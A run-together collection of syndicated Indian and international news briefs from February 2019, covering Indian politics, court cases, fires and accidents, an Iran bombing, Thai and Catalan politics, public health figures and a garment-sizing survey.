(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)Union minister S S Ahluwalia was Wednesday admitted to the AIIMS here after he complained of breathing problems, officials said.

His condition is stable and a team of doctor is monitoring his condition, sources at the premier hospital said.

"Upon returning to Delhi after attending prime minister's rally at Jalpaiguri on February 8, the minister has been admitted to a hospital with high fever and flu-like symptoms. Today, after his condition worsened, he was shifted to the AIIMS for specialised treatment," an aide of the minister said.

The Minister of State for Electronics and IT complained of breathing problems and restlessness, sources said.

A team of doctors is monitoring his condition, they said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Uttarakhand High Court on Wednesday expressed dismay at the state government's decision to give rent waiver to former chief ministers who had occupied government accommodations for years together after demitting office.

Hearing a PIL, the division bench of Chief Justice Ramesh Ranganathan and Justice R C Khulbe expressed surprise and dismay when the Advocate General informed the court that the government of Uttarakhand had decided to waive all the unpaid rent of the former chief ministers and amounts spent on extending other facilities to them, petitioner's counsel Kartikeya Hari Gupta said.

The petitioner had raised objections to the "meagre" rent paid by former chief ministers Vijay Bahuguna and Ramesh Pokhrial Nishank.

The petitioner also pointed out that their payment was not in accordance with the Supreme Court order which directed recovery of "appropriate rent" and also a previous order of the Uttarakhand High Court asking the state government to calculate the "market rent" which this government has not calculated till date.

The rent calculation has been done illegally and on the basis of one government order of year 2004 and on the basis of 1997 rules which have already been declared unconstitutional by the Supreme Court, the petitioner's advocate said.

The court had examined the method of rent calculation done by the state government and expressed surprise on how the government could calculate rent on the basis of a 2004 government order.

The court had also observed that the dues were public money and it must be recovered from the offenders.

In a supplementary affidavit filed by the state on Wednesday, it was claimed that the amounts were being waived but it had no mention of any government order waiving off the pending amount, Gupta said.

The matter will be heard by the high court on Thursday.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)US President Donald Trump has condemned "all acts of violence" including those against media after a BBC cameraman was attacked at his campaign rally in Texas.

The White House in a statement on Tuesday did not refer to the specific incident but said "President Trump condemns all acts of violence against any individual or group of people - including members of the press."



"We ask that anyone attending an event do so in a peaceful and respectful manner, White House Press Secretary Sarah Sanders said after the mainstream media expressed concern over the attack on the BBC cameraman at a Trump rally in El Paso, Texas on Monday night.

BBC's Ron Skeans was shoved and sworn at by a man wearing a Make America Great Again hat at the rally. The attacker was immediately ushered away by the security.

The BBC later asked the White House to review security for media attending President Trump's rallies.

In a letter, the BBC said the press area was unsupervised, and no security had tried to intervene during the incident.

The incident was also condemned by White House Correspondents Association (WHCA).

"The White House Correspondents' Association condemns the physical attack on our colleague at the President's rally in El Paso, Texas, said its president Olivier Knox.

We are relieved that, this time, no one was seriously hurt. The President of the United States should make absolutely clear to his supporters that violence against reporters is unacceptable, Knox said.

Trump has been critical of media, which he has called the enemy of the people.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A day after the Tamil Nadu government assured action against video sharing application "TikTok" in the wake of concerns about its misuse, the company Wednesday claimed it has robust measures to protect users and mechanism to report content found violative of norms.

TikTok India in a statement said it was in the process of appointing a Chief Nodal Officer to be based out of India to better coordinate with law enforcing agencies.

The application, launched by a China-based startup, allows users to shoot and share videos across social media platforms.

"At TikTok, maintaining a safe and positive in-app environment is our priority," the company statement said here in response to a query by PTI about the state government's move.

"We have robust measures to protect users against misuse, including easy reporting mechanisms that enable users and law enforcement to report content that violates our terms of use and community guidelines", it said.

State Information Technology Minister M Manikandan had Tuesday told the state asssembly the government would take up with the Centre a possible ban on the app which reportedly misleads children and youth.

He had also said political leaders and many others had been expressing 'concern' over the app.

The Minister made the remarks while responding to a submission by Manithaneya Jananayaka Katchi MLA(Nagapattinam) M Thamimun Ansari that the social media application was allegedly misleading children and youth and sought action to ban it.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Three sisters were charred to death in a fire which broke out in the heavily populated Mochi Bazar area here on Wednesday evening, police said.

Additional Deputy Commissioner of Police (ADCP) Jagjit Singh Walia, who visited the spot, said foul play could not be be ruled out behind the deaths as the bodies were found under mysterious circumstances.

The deceased were identified as Indu (45), Preeti (32) and Vandhna (30). Nobody else was with them at home at the time of the fire.

Among them only Indu was married. Preeti and Vandhna had come to Amritsar from Delhi three months ago to stay with their elder sister.

Police said in the evening locals saw smoke rising from the house of the sisters. Despite repeated knocks, nobody responded. Later, the neighbours alerted the police and the fire department officials.

On reaching the spot, police found the three severely charred bodies.

Police said the crime scene raised suspicion over foul play.

Police questioned Indu's husband. Further investigation is underway, officials said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The massive fire that broke out at a city hotel on Tuesday, killing 17 persons and injuring several others, snuffed the lives of three persons who had come here from Tamil Nadu on an official trip.

The three included a dentist who had come to Delhi to attend a seminar.

Aravinth Sukumaran (35) and his colleague Nand Kumar (34), working as merchandisers for a Tirupur-based exports firm, were in Delhi to attend a two-day meeting.

They took a flight to Delhi on Sunday and reached at around 10 pm.

"They attended the meeting scheduled for Monday. Due to some reason, another meeting, which was scheduled for the next day, was cancelled, so they were planning to return on Tuesday," Aravinth's father Sukumaran said.

The families of Aravinth and Nand Kumar arrived from Tirupur at the Tamil Nadu Bhawan here on Tuesday night after they got to know about the incident through television channels.

"Aravinth used to visit Delhi frequently on official work. The Arpit Palace hotel was not new to him. He had stayed there a couple of times. It is unfortunate that something like this happened this time," Rajesh, one of the family members, said.

Aravinth's cousin Swapna and husband Rajesh reached Delhi from Jaipur as soon as they got confirmation of his death through one of Rajesh's colleagues who worked with a regional television channel.

"Initially, we thought Aravinth would have survived with minor injuries. But later, we got to know that he was no more," Swapna said.

Aravinth was working with an exports firm for close to 15 years. He is survived by his wife, a son -- a Class 7 student -- and a daughter who studies in Class 4.

As Nand Kumar's post-mortem was being done at the Ram Manohar Lohia hospital, his brother and a colleague were busy completing all the formalities to take the body to Tirupur the same day.

"Nand Kumar had come with Aravinth to attend the meeting. I had my last conversation with Aravinth two days ago. I was returning to Tirupur from Ludhiana then. It was a casual, work-related chat. We were discussing about the meeting for which they were here," Jaikumar, a colleague, said.

Nand Kumar was working under Aravinth for close to a year. He belongs to Tirupur and is survived by his wife and a three-year-old son.

A 52-year-old dentist, Shankar Narayan Sheshadri from Trichy in Tamil Nadu, who was here to attend a seminar, also lost his life in the tragedy.

His family reached Delhi on Wednesday morning to collect his body.

"Sheshadri was here to attend a seminar. He was researching on stem cells and was here for the same," Vijayalatha, Sheshadri's sister-in-law who flew down from Ajmer to receive his body, said at the mortuary.

A family member said they were trying to contact Sheshadri from 5.30 am on Tuesday, but were not able to reach him. His belongings, including his laptop which contained the soft copy of his work, was also not found and it was feared that his research documents were gutted in the fire.

Another deceased -- Santosh Mahadev (35) -- a resident of Pune who ran a clinical research organisation in Mumbai, was here on official work. Unfortunately, his friend Rahul, who had come to meet him, also lost his life in the tragedy. "We are taking his body to his native place Solapur for the final rites," a friend of Mahadev said.

Rahul worked as an assistant drug controller at the Central Drugs Standard Control Organisation, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Three men were killed on Wednesday when the car they were travelling in collided with an oil tanker on the outskirts of Muktsar town in Punjab, police said.

The men, aged between 22-25 years, were moving towards Muktsar from Bathinda when the incident took place, they said.

Two of them died on the spot while the another succumbed to his injuries on the way to a hospital in Bathinda, police added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Three men have been arrested for allegedly duping several two-wheeler owners in the city by selling fake vehicle insurance policies to them, a senior police official said Wednesday.

A preliminary probe by the police has revealed that the accused have so far sold over 800 bogus insurance policies in the city, the official said.

Based on a complaint lodged by one of the victims in the case, a police team raided the office of 'One Point Solutions General Insurance' at Lower Parel in central Mumbai on Tuesday.

While two accused- Prashant Sutar (25) and Innayat Bodraker (39), top office-bearers One Point Solutions, were arrested from Belgaum in Karnataka on Tuesday, its supervisor Gajanan Patil (28) was held from Mumbai on the same day, he said.

"During the raid, police seized 306 fake insurance policies of different companies and some other incriminating material," the official said.

"During the investigation, it came to light that Sutar and Bodraker were based in Balgaum and operating the business from there. Accordingly, a police team was sent to the southern state and a raid was conducted at the company's office in Mumbai," he said.

A case under IPC sections 420 (cheating), 465 (forgery), 467 (forgery of valuable security, will, etc) and others has been registered at N M Joshi Marg police station.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Azerbaijani President Ilham Aliyev told Real TV in an interview that he has "always rendered great assistance to the Azerbaijani media."

"It is evidenced by the numerous meetings I have held with media representatives, and I have always tried to support the development of the media with my own work," the head of state stressed.

"I am glad that the Azerbaijani media today play an important role in the life of our country, he said.

In my work, I refer to media reports too, and in some cases I learn of a number of issues from the media and react immediately," Ilham Aliyev noted. "I have repeatedly expressed my opinion on this issue and I think that the Azerbaijani media will play a greater role in the life of our country in the future," the President believes.

"Sometimes people ask me why does the president does most of the interviews to foreign media," Ilham Aliyev said, pointing out that "there are two reasons for this."

"First, making the truth about Azerbaijan public worldwide is a matter of particular importance now," the head of state stressed.

The second reason is that I regularly, in various formats, express my opinion about the work being done in the country, the head of state added.No voice in the mainstream represents the urban youth, says filmmaker Zoya Akhtar who has deflected criticism that she chooses to train her lens mostly on the privileged classes with her latest "Gully Boy" about street music and the angst of young.

The woman behind "Dil Dhadakne Do", which explored varied relationships of the rich and mighty on a cruise ship, and "Zindagi Na Milegi Dobara", about three friends on a road trip through Spain, has gone over to the other side with her "Gully Boy" that talks about Mumbai's hip hop scene.

The Ranveer Singh-Alia Bhatt starrer examines how street music becomes a way for struggling urban youth to project their anger in a system where the odds are stacked against them.

Frankly, there is no voice in the mainstream that represents the urban youth and that's what attracted me to the story. Their rap is conscious of its space and it is conscious of where it exists. It is honest, truthful and personal. They are the artistes who speak about their socio-economic space, about the system and how it treats them," Zoya told PTI in an interview.

The 46-year-old says she grew up listening to classic hip-hop artistes such as Tupac Shakur, 50 Cent and Eminem but the mainstream Indian hip-hop scene never attracted her until she chanced upon a track by Divine and Naezy.

The story of the two rappers from the chawls of Kurla in Mumbai serves as the inspiration for "Gully Boy", played by Ranveer Singh.

Zoya says she realised she could use hip-hop to tell a larger story about urban youth and their frustrations.

"There are youngsters who are kind of frustrated because they are not even allowed to pursue their dreams... they have to figure out how they get by in their day-to-day life. There is a huge population that falls in this bracket and hip-hop resonates with them."



Zoya says she does not concern herself with how people bracket her as a filmmaker. As a filmmaker, she is drawn to conflicts.

At the end of my life, I want to have a body of work that has everything. My next job is for Amazon and again it is about rich people, wedding planning. I want to do all kind of films. I don't want to be bracketed into one kind of cinema and if somebody does that, then it is on them," she said.

According to Zoya, if you are good at your job and resonate emotionally with people and there are conflicts that you can connect to, your work will find its audience.

"Ultimately, we are all human beings and the rest is just the backdrop, she said.

The story of an underprivileged artiste finding his path through hip-hop led to some comparisons with Eminem's 8 Mile, but Zoya dismisses speculation that her film has anything to do with the Hollywood movie.

"When Zindagi' was coming out, everybody said that it is Hangover'. I got very upset at that time but then it released and everyone forgot about it. I understand the comparison with 8 Mile' because that's their only reference point. Also, he comes from the underprivileged space and the rap battle, the tropes are similar. But there is no similarity.

There was also a debate on social media about the change in the lyrics of "Azadi", which musician Dub Sharma created in 2016 after student leader Kanhaiya Kumar made the slogan popular during a protest in Delhi's Jawaharlal Nehru University.

The lyrics had words such as Aazadi... Manuvaad se', Aazadi Brahmanvaad se', but these lines are missing in the Gully Boy track which has tweaked the original.

Zoya said they changed the lyrics to suit the context of the film and its character.

My story is about class, about feeling oppressed by your class. It is about economic disparity, the divide between rich and poor. It represents the point of view of my character and his engagement with the society, his socio-economic space and his anger. My film is not about the caste system or JNU."



Freedom, she said, is a word that was used way before JNU and will continue to be used.

"It has been used for women's movement, for caste disparity, against the system and whatever the oppressed community feels strongly about... But it would have been fake on my part if I had just taken the original song and monetised it.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Thailand's election commission on Wednesday asked the constitutional court to dissolve a party that proposed a princess as candidate for prime minister, a potentially serious blow to the political aspirations of the kingdom's powerful Shinawatra clan.

Junta-ruled Thailand has sunk into political chaos since Friday, when Princess Ubolratana's name was submitted by Thai Raksa Chart, a party allied with the divisive billionaire ex-premier Thaksin Shinawatra.

Her unprecedented bid to enter frontline unravelled within hours after King Maha Vajiralongkorn, the 67-year-old Ubolratana's younger brother, decried the entry of a royal into the political fray as "highly inappropriate".

Thailand's powerful and vastly wealthy monarchy is seen as above politics, although royals have intervened before during times of political crisis.

The commission brought a premature end to the princess's political career by disqualifying her as a candidate for premier.

On Wednesday the commission filed a request with the constitutional court to disband Thai Raksa Chart for breaching the political parties law by bringing a royal family member into

"That action is considered hostile to the constitutional monarchy," it said. It was not immediately clear if the court could rule on Thai Raksa Chart's dissolution before the March 24 election.

If dissolved, the party's executives -- including Shinawatra family members -- could face a long political ban, while its candidates would be unable to run in the poll.

The party said it will contest the move.

"Our party will go ahead (with campaigning) we are the hope of ... our people," party leader Preechaphol Pongpanit said, adding that they were "stunned" by how swiftly events had unfolded over the past few days.

Thai Raksa Chart was set to add to the vote bank of the bigger Shinawatra electoral vehicle, Pheu Thai, in an election where secondary parties are targeting seats via the party list system.

Thailand remains a deeply divided kingdom.

Parties affiliated with Thaksin have won every election since 2001, but their governments have been battered by two coups and a barrage of court cases driven through by an arch-royalist Bangkok-based elite.

Thaksin and his sister Yingluck both live abroad to avoid convictions they say are politically motivated.

To off-set their electoral dominance, the ruling junta scripted a new constitution making the upper house entirely appointed, while limiting the number of constituency seats available at the March poll -- the first election since 2011.

If Thai Raksa Chart is banned it will "reduce the opportunity of the Shinawatra party to have big numbers in parliament", said Titipol



Phakdeewanich, a political scientist at Ubon Ratchathani University. That would benefit the army-linked party Phalang Pracharat and increase the likelihood of its prime ministerial candidate, junta chief Prayut Chan-O-Cha, of returning to power as a civilian leader.

Thais have struggled to digest what Princess Ubolratana's short-lived foray into means for the kingdom, with analysts left open-jawed by the rare sight of palace intrigue playing out in public.

In an Instagram post late Tuesday Ubolratana apologised for her role in the drama, which has sent jitters across the politically febrile country. "I'm sorry that my genuine intention to help work for the country and fellow Thai people has created a problem that shouldn't happen in this era," she wrote.

It was tagged with a hashtag: "#howcomeitsthewayitis".

Ubolratana is the first-born of former king Bhumibol Adulyadej, but she gave up her royal titles when she married an American in 1972. After her divorce she moved back to Thailand, where she is still regarded by the Thai public as a part of the royal family.

While she said she was exercising her rights as a commoner to stand for premier, the palace statement last week said she is "still a member of the House of Chakri", referring to the name of the dynasty.

The monarchy in Thailand is considered sacred and revered by its people, and is under the protection of draconian lese majeste laws. The king's word is considered final.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Hitting out at the ruling TRS in Telangana for its alleged silence on the opposition protests against the NDA government at the Centre, the Congress unit of the southern state on Wednesday said Chief Minister K Chandrasekhar Rao should hold a stir in Delhi or elsewhere against Prime Minister Narendra Modi for the alleged injustices meted out to the state.

"When the entire opposition is raising its voice against the injustices being done by the BJP government, the TRS is aligning with PM Modi," Telangana Congress treasurer Gudur Narayana Reddy said in a statement.

"When one state (Andhra Pradesh) is openly holding protests against the injustices, why KCR is supporting the BJP by remaining silent on the issue?," he asked.

Reddy alleged that Telangana did not get its due share in any of the five regular budgets and the latest interim budget of the Bharatiya Janata Party-led National Democratic Alliance (NDA) government.

He said it was highly regrettable that the Telangana Rashtra Samithi (TRS) MPs did not effectively raise their voice in Parliament and miserably failed to fight for the rights of the southern state.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A posse of private bodyguards, hired by RJD MLA Tej Pratap Yadav, were on Wednesday found roaming inside the Bihar assembly premises where the budget session is underway, prompting the state police chief to order an inquiry into the security breach.

The mercurial elder son of RJD supremo Lalu Prasad, however, defended himself saying "who would provide security to me if I do not take care of my own safety"?



The muscle-bound safari-clad private bodyguards were spotted by lens men of channels and when asked what they were doing inside the campus, well inside the area to which entry is prohibited without valid passes, they replied with a terse "no comments".

Security personnel posted inside the assembly claimed "there is no security breach. These people had not strayed into the restricted zone".

However, minutes later Director General of Police Gupteshwar Pandey rushed to the assembly premises where he told reporters "I have asked Patna SSP Garima Mallik to conduct a thorough inquiry into any lapse that may have taken place. Anybody found guilty of dereliction of duty will be punished".

While exiting the assembly around lunch time, Yadav told reporters "I need to have adequate security for myself. And if I do not make arrangements for the same myself, who will. Would Chief Minister Nitish Kumar provide me with adequate security"?



Incidentally, Yadav had in December 2017 lashed out at the NDA government at the Centre for the scaling down of the security cover of his father currently serving sentences in fodder scam cases with an undignified remark about the Prime Minister Narendra Modi.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Syrian government and rebels have swapped prisoners as part of a peace process brokered by Russia, Iran and Turkey, the Turkish government said.

"Many people who had been detained by rebel groups and by the Syrian regime have been freed" in a reciprocal and simultaneous move, Turkey's foreign ministry said in a statement Tuesday.

The Britain-based Syrian Observatory for Human Rights said each side had released 20 prisoners, with 11 women among those freed by the Syrian regime.

Russia, Iran and Turkey are working to bring about peace in Syria under what is known as the Astana process.

Each country plays a key role in the conflict that started in March 2011 and has left more than 360,000 dead and displaced millions more.

Russia and Iran have intervened on the side of Syria's government, ensuring its survival, while Turkey supports rebel groups in northern Syria to prevent Syrian Kurds establishing and expanding territory along its border.

All of them say they are fighting Islamic State fighters and other jihadists in the northern regions.

The Astana process has gradually come to eclipse a UN-sponsored negotiations framework known as the Geneva process whose participants include the United States and European powers that would be key donors in an international post-conflict reconstruction programme for Syria.

Tuesday's prisoner swap took place near the city of Al-Bab, in Aleppo province northwest Syria.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.): The swine flu toll in Telangana rose to six with one more succumbing to the H1N1 virus, health authorities said Wednesday.

A 36-year old man undergoing treatment at a state-run hospital here died Tuesday, they said adding so far swine flu has claimed six lives.

As many as 470 fresh cases had been reported in the state since January 1, 2019, they said.

Of a total of 2,437 samples, 470 tested positive for swine flu between January 1, 2019 and February 12, of which six deaths have been reported in Telangana, a senior health official told PTI.

As many as 256 positive cases were reported from Hyderabad itself of the total of 1,904 samples from the city during the period, the official said.

Twenty-eight people had died due to swine flu in 2018 and 1,007 swine flu positive cases were detected, health department officials had said earlier.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A suicide attack Wednesday on a Revolutionary Guards bus in southeastern Iran killed at least 20 people and left 20 more wounded, the official agency IRNA reported.

"The suicide attack on an Islamic Revolutionary Guards Corps personnel bus happened on the Khash-Zahedan road," IRNA said.

"This terrorist act happened a short time ago and according to reports at least 20 have been martyred and 20 have been wounded," an informed source told IRNA.

A picture released by the Fars agency showed a hulk of twisted metal lying by the side of a road, unrecognisable as a bus. The Guards issued a statement confirming the attack. It said the troops were returning from the border.

"In this suicide attack a car filled with explosives blew up besides a bus carrying a unit of the Guards ground forces causing the martyrdom and wounding of a number of the protectors of our Islamic homeland's border."



The attack took place in the volatile southeastern province of Sistan-Baluchistan which has a large, mainly Sunni Muslim ethnic Baluchi community straddling the border with Pakistan.

Fars said the attack was claimed by Jaish al-Adl, a jihadist group formed in 2012 as a successor to the Sunni extremist group Jundallah (Soldiers of God), which waged a deadly insurgency against Iranian targets over the past decade.

The Jaish al-Adl "has issued a statement officially taking responsibility for the terrorist attack," Fars reported. The group is blacklisted as a "terrorist group" in Iran.

The attack came on the same day as the United States gathered some 60 countries in Poland for a conference on the Middle East and Iran which they hoped would increase pressure on Tehran.

Dubbing the meeting in Poland the "WarsawCircus", Iranian Foreign Minister Mohammad Javad Zarif said it was "no coincidence that Iran is hit by terror on the very day" that the talks began in the Polish capital.

"Especially when cohorts of same terrorists cheer it from Warsaw streets & support it with twitter bots? US seems to always make the same wrong choices, but expect different results," Zarif wrote on Twitter.

He earlier blasted the two-day conference being co-hosted by Washington in Warsaw as "dead on arrival".

"It is another attempt by the United States to pursue an obsession with Iran that is not well-founded," Zarif told a Tehran conference. Sistan-Baluchistan has been the scene of other attacks.

On January 29 three members of an Iranian bomb squad sent to the scene of an explosion in its capital Zahedan were wounded when a second device blew up as they were trying to defuse it, police said at the time.

And in early December last year two people were killed and around 40 others wounded in the port city of Chabahar, also in Sistan-Baluchistan, in an attack which Zarif at the time blamed on "foreign-backed terrorists" -- a reference to Sunni Muslim extremists.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A suicide car bombing on a Revolutionary Guards bus in southeastern Iran killed 27 troops on Wednesday, in one of the deadliest attacks on the elite forces in years.

The assault came as the troops were returning from a border patrol mission, the Guards said in a statement.

"In this terrorist attack 27 of Islam's brave warriors were killed and 13 were wounded," the statement read, accusing "world domination and Zionist intelligence agencies" of supporting the attackers.

Earlier the official IRNA agency said, "The suicide attack on an Islamic Revolutionary Guards Corps personnel bus happened on the Khash-Zahedan road."



A picture released by the semi-official Fars agency showed a hulk of twisted metal lying by the side of a road, unrecognisable as a bus.

The attack happened when "a car filled with explosives blew up besides a bus", the Guards said.

"Mercenaries of intelligence agencies of world arrogance and domination," carried out the attack to counteract "the victory of the 40th anniversary of the Islamic revolution", they added.

Iran has been celebrating the 40th anniversary of the return to Tehran of Ayatollah Ruhollah Khomeini in 1979 after more than 14 years in exile and the overthrow of the pro-Western shah.

His arrival triggered the start of the Islamic Revolution and led to the creation of the Islamic Republic.

Wednesday's attack took place in the volatile southeastern province of Sistan-Baluchistan which has a large, mainly Sunni Muslim ethnic Baluchi community straddling the border with Pakistan.

The SITE Intelligence Group reported that the attack was claimed by Jaish al-Adl, a jihadist group formed in 2012 as a successor to the Sunni extremist group Jundallah (Soldiers of God), which waged a deadly insurgency against Iranian targets over the past decade.

The Jaish al-Adl -- blacklisted as a "terrorist group" in Iran -- "announced its responsibility in a brief Persian message on February 13, 2019," SITE reported.

The attack came on the same day as the United States gathered some 60 countries in Poland for a conference on the Middle East and Iran which they hoped would increase pressure on Tehran.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Strides Pharma Science Wednesday said its step-down wholly-owned subsidiary has received approval from the US health regulator for Triamcinolone Acetonide cream, used to treat a variety of skin conditions.

The approved product is a generic version of Mylan Pharmaceuticals Inc's Triamcinolone Acetonide cream.

Strides Pharma Global Pte Limited, Singapore, has received approval for Triamcinolone Acetonide Cream USP, 0.025, 0.1 per cent and 0.5 per cent from the United States Food & Drug Administration (USFDA)," Strides Pharma Science said in a BSE filing.

Strides said, the product will be manufactured at its Bengaluru facility and will be marketed by Strides Pharma Inc in the US.

Citing IQVIA data, the company said the US market for Triamcinolone Acetonide Cream USP, 0.025 per cent, 0.1 per cent and 0.5 per cent is approximately USD 55 million.

Triamcinolone Acetonide Cream is used to treat a variety of skin conditions including treatment of eczema, dermatitis, allergies, rash and helps in reducing swelling, itching, and redness that can occur in these types of conditions.

The company's stock was trading 2 per cent lower at Rs 404 apiece on the BSE.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A Spanish public prosecutor on Wednesday accused Catalan separatist leaders of trying to use "human shields" to block police during their failed secession bid in 2017.

On the second day of the separatist leaders' trial, Supreme Court prosecutor Fidel Cadena also rejected arguments by defence lawyers who said the trial was politically motivated, saying "anyone can have the ideas they want".

"What is penalised... is behaviour carried out over time which aimed... at the subversion and rupture of the constitutional order, calling for violent methods through the use of the masses as human shields" against police, he said.

Twelve Catalan separatist politicians and activists face years behind bars if they are convicted of rebellion or other charges for pushing an independence referendum in October 2017, in defiance of a court ban, and a brief declaration of independence.

Under Spanish law, rebellion is defined as "rising up in a violent and public manner". But the key, divisive question is whether there was any violence.

Prosecutors point to "violent incidents" during protests orchestrated by two grassroots groups in the lead up to the referendum. Activists surrounded a Catalan economy ministry building on September 20, 2017 while national police carried out a search inside to try to stop the vote from going ahead.

At least three police vehicles were vandalised and their occupants forced to flee into the building, where for hours a group of police officers remained trapped by the crowds outside.

Prosecutors also accuse the separatists of fostering "acts of violence and aggression against police officers" on the day of the referendum.

Supporters of independence deny the accusation of violence. They instead condemn a police operation to shut down the referendum, which saw voters beaten with batons and dragged away from polling stations, images of which were seen around the world.

Another public prosecutor, Javier Zaragoza, accused the defence of wanting to "create a deformed version of reality to discredit Spanish justice."



"It is not separatism which is being tried... but the series of events which took place in September and October 2017," he added.

"Political activity is not a licence which justifies carrying out criminal actions," like ignoring the ban of the referendum by the Constitutional court, he said.

The trial will resume on Thursday the main protagonist, former Catalan regional vice president Oriol Junqueras, is set to take the stand. He faces up to 25 years in jail.

The 11 other accused include members of Catalonia's then executive, the two leaders of powerful pro-independence associations, ANC and Omnium Cultural, and the former president of the Catalan parliament. They face jail terms of seven to 17 years.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The year 2019 marks the beginning of a new stage of our reforms, Azerbaijani President Ilham Aliyev said in the interview with Real TV.

It is quite natural because the Azerbaijani people once again placed great confidence in me in the last year's presidential election and I went to these elections with the agenda of reforms," he said.

"Of course, extensive work had been carried out since the second half of the last year to specify, identify and sequence reforms, and new reforms were launched early this year," the head of state pointed out.

The President emphasized that the main goal of the new reforms is to transform Azerbaijan into a modern and developing and in the future into a developed country, address the existing shortcomings, completely remove from the agenda problems facing citizens, improve people's well-being, and build a stronger, more powerful state.

We pursue a purposeful, comprehensive policy in this direction, we both strengthen our international standing and put forward regional cooperation initiatives. Azerbaijan has today become a transport hub of Eurasia, actually not one of the transport hubs, but a transport hub because the North-East and East-West corridors pass through our country," he stressed.

"We have very effectively taken advantage of this geographical situation to establish a robust infrastructure. More than 10 countries are today collaborating along the North-South and East-West transport corridors. But there is only one country that is involved in both projects, and that is Azerbaijan, President Aliyev added.Samajwadi Party Wednesday raised in the Lok Sabha the issue of Uttar Pradesh authorities preventing their chief Akhilesh Yadav from flying to Allahabad even as the Centre asserted that neither the government nor the BJP had any role.

After Yadav was stopped at Lucknow airport, SP workers clashed with police in several parts of Uttar Pradesh on Tuesday.

During the Zero Hour, Dharmendra Yadav and other SP members displayed placards to register their protest on the issue.

Yadav, whose forehead was bandaged, alleged that workers were lathicharged by UP Police on Tuesday.

He claimed that members of legislative council, workers and women, among others, were beaten up.

While noting that some MPs were also beaten up, he urged Speaker Sumitra Mahajan to direct authorities to take action against police official involved.

Parliamentary Affairs Minister Narendra Singh Tomar said the SP chief was prevented from flying to Allahabad on the grounds of law and order. The BJP and the government does not have anything to do with it, he stressed.

On Tuesday, Akhilesh Yadav said he was stopped by authorities at the Lucknow airport in a bid to prevent him from visiting Allahabad, triggering outrage by party lawmakers in the state legislature and workers.

During the Zero Hour, TMC members were in the Well displaying placards and shouting slogans against the government.

Later, some Congress members also trooped into the Well and sought to raise the issue of Rafale deal.

A member was also seen throwing paper planes.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A 45-year-old South Korean national was killed when his glider crashed during an event near Panchgani in Maharashtra's Satara district, over 100 kms from here, police said Wednesday.

The deceased Sang Teak Oh was a professional paraglider, a police officer said.

On Tuesday evening, Sang Oh took off from Rajpuri near Panchgani, the famous hill station located in the Sahyadri mountain ranges in western Maharashtra, but strayed the course and descended into forest areas, he said.

"As per the information received by us, the glider after taking off from Rajpuri, strayed away and slid down into the forest areas," the Satara police officer said.

He said a rescue team present at the event rushed to the spot where Sang Oh's glider collapsed.

"They found Sang Oh with serious injuries and rushed him to a hospital in Wai, around 25 kms away, where he succumbed to his injuries," he said.

The paragliding event was organised by a Mumbai-based firm.

"We have registered a case against the event firm and arrested its event manager Vistas Kharas under IPC section 304 (A) (Causing death by negligence)," the officer said.

Sang Oh's body was handed over to the Korean embassy after postmortem, he said.

Satara superintendent of police Pankaj Deshmukh said Sang Oh's last rites will be performed in Wai as his family members have given their consent.

Sang Oh came to India on a tourist visa. He came to Wai on February 10.

Paragliding is the recreational and competitive adventure sport of flying paragliders---a lightweight, free-flying, foot-launched glider aircraft with no rigid primary structure.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A 30-year-old soldier allegedly committed suicide by shooting himself with his service rifle inside an Army camp here, a police official said Wednesday.

Sepoy Sandeep Singh, a resident of Punjab, was on a guard duty at a post in a transit camp at Panama Chowk where he shot himself in the head on Tuesday, the official said.

His colleagues rushed to the scene on hearing the gunshot and found him dead on the spot, he said.

The body was handed over to the Army for last rites after completion of the legal formalities, the official said.

The motive behind Singh taking the extreme step is yet to be ascertained, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Starting next month, the government will launch an exercise to measure a group of people to prepare comprehensive "India Size" chart, which can be adopted by the country's apparel industry, a top official said Wednesday.

State-of-the-art machines will be used in the project for the body measurement of people to develop the standardised size chart.

"We want that we should have Indian size for two things. It can boost our retail market. South Asian size will also get fillip, plus our own diaspora which is outside, we will become influence drivers for foreign companies also. We are actually rolling out the exercise in March itself," Textiles Secretary Raghvendra Singh told PTI.

He said the government is trying to complete the project as soon as possible, so that a standardised size chart can be prepared for the ready-to-wear industry, based on body measurements of the domestic population.

According to Singh, the move assumes significance as in the near future, the country's retail market along with China is going to be the biggest in the world.

"Therefore this initiative is one element of making an indigenous effort for occupying that space. Otherwise, you never know, we may end up making space for others to come in. So, this one effort is an exercise in that direction," he said at a press conference here.

Singh said the exercise will affect the entire South Asia because the size has regional variations as well.

"We have launched the Size India project. Right now there is a US size, a UK size but no India Size. We have to wear what we get. So, we have ordered machines through NIFT which will arrive this month itself," the textiles secretary said.

The project approved earlier by the government will entail measuring of 25,000 male and female Indians in 6 cities across 6 regions of the country: Kolkata (East), Mumbai (West), New Delhi (North), Hyderabad (Central India), Bengaluru (South) and Shillong (North-East). Using 3D whole body scanners and computers that will extract hundreds of measurements from scan.

At present, India's apparel industry uses size charts which are tweaked versions of sizes of other countries, so returns of the garments are in the range of 20 per cent to 40 per cent and is increasing with the growth of e-commerce and the main reason for returns are poor garment fit.

Providing well fitting garments in the absence of standardised size chart is proving to be a big challenge for the domestic textile and apparel industry, which is projected to reach USD 123 billion by 2021 and holds 5th position in apparel imports.

